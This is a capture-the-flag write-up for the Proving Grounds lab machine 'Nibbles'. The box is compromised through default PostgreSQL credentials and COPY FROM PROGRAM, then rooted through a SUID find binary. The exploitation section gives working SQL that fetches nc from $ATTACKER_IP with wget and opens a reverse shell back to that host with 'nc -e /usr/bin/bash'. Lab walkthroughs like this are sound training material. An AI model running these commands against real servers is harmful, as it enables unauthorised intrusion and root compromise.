Nibbles-PostgreSQL Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 2 min read
Nibbles exposes a PostgreSQL server on all interfaces still using the default postgres:postgres credentials. Its COPY FROM PROGRAM feature gives direct command execution for a shell as the postgres user, and a SUID bit left on find gives root.
Reconnaissance
Nmap
Full TCP port scan.
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5437/tcp open pmip6-data
A focused scan identifies the unrecognized service on 5437 as PostgreSQL.
5437/tcp open postgresql PostgreSQL DB 9.6.0 or later
Exploitation
PostgreSQL default credentials and COPY FROM PROGRAM
Since the server listens on all interfaces, connect remotely and try the default credentials.
Password for user postgres: [postgres] psql (12.2), server 11.7 postgres=#
Default credentials work. PostgreSQL's default configuration allows COPY ... FROM PROGRAM, which executes an arbitrary shell command. Host a copy of nc and start a listener first.
listening on [any] 5437 ...
From the psql session, download the hosted nc binary and use it to connect back.
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'wget http://$ATTACKER_IP/nc -O /tmp/nc';
COPY cmd_exec FROM PROGRAM 'chmod +x /tmp/nc; /tmp/nc -n $ATTACKER_IP 5437 -e /usr/bin/bash';
The listener catches a shell as postgres. Stabilize it.
postgres@debian:/var/lib/postgresql/11/main$ id uid=106(postgres) gid=113(postgres) groups=113(postgres),112(ssl-cert)
Privilege Escalation
SUID find (GTFOBins)
Enumerate SUID binaries.
/usr/bin/sudo /usr/bin/mount /usr/bin/su /usr/bin/find /usr/bin/passwd
find itself has the SUID bit set. GTFOBins lists find -exec as a direct root escape for a SUID find binary.
# whoami root
Related
References
-
Abusing a SUID find binary for privilege escalation.